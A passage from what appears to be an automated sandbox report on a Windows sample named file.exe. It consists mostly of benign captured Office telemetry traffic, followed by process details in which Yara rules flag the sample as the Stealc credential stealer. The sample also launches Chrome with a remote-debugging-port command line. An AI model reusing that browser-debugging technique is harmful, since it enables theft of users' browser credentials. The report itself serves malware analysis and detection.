6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:15 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:15 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 67f9b02f-701e-0053-4491-3f3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063815Z-174f7845968kvnqxhC1EWRmf3g0000000qxg000000002vw5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:15 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:15 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:15 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:15 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 21a32f9a-a01e-003d-21b4-4298d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063815Z-174f78459684bddphC1EWRbht400000013sg000000007swm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:38:15 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:17 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:18 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:17 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 1402e90e-d01e-0049-106c-43e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063817Z-174f7845968pf68xhC1EWRr4h800000014dg000000000b73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:38:18 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:17 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:18 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:17 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 3a28b270-401e-00ac-75b5-430a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063817Z-174f7845968kvnqxhC1EWRmf3g0000000qv00000000075gv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:38:18 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:17 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:18 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:17 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 7dc3d7f2-801e-00a0-097c-432196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063817Z-174f7845968vqt9xhC1EWRgten000000145g00000000295n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:38:18 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:17 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:18 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:18 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 11ea4f02-701e-0050-563c-416767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063818Z-174f7845968pght8hC1EWRyvxg000000073000000000e1ep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:18 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:17 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:18 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:18 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: b6aee436-d01e-0028-0d5a-437896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063818Z-174f7845968xlwnmhC1EWR0sv800000013wg000000006dmx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:18 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:19 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:20 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: fbe1c4aa-201e-0096-22b4-42ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063820Z-174f7845968cdxdrhC1EWRg0en0000001410000000005572 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:20 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:20 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:20 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 7d13c72f-201e-0085-6f2a-4134e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063820Z-174f784596886s2bhC1EWR743w0000001460000000001qef x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:20 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:20 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:20 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 02365e0d-501e-0016-5daf-42181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063820Z-174f78459684db9fhC1EWRc7g40000000430000000004e45 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:20 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:20 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:20 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:20 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: e207a0d1-601e-0097-63aa-42f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063820Z-174f7845968qj8jrhC1EWRh41s00000013x000000000d5vs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:38:20 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Target ID:	0
Start time:	01:37:15
Start date:	02/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xed0000
File size:	1'757'184 bytes
MD5 hash:	F9E8C178565263AAA83C1F3BB392BD90
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2792859084.00000000019FC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2234834361.0000000005630000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2790206545.0000000000ED1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2792859084.000000000197E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:37:27
Start date:	02/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff684c40000
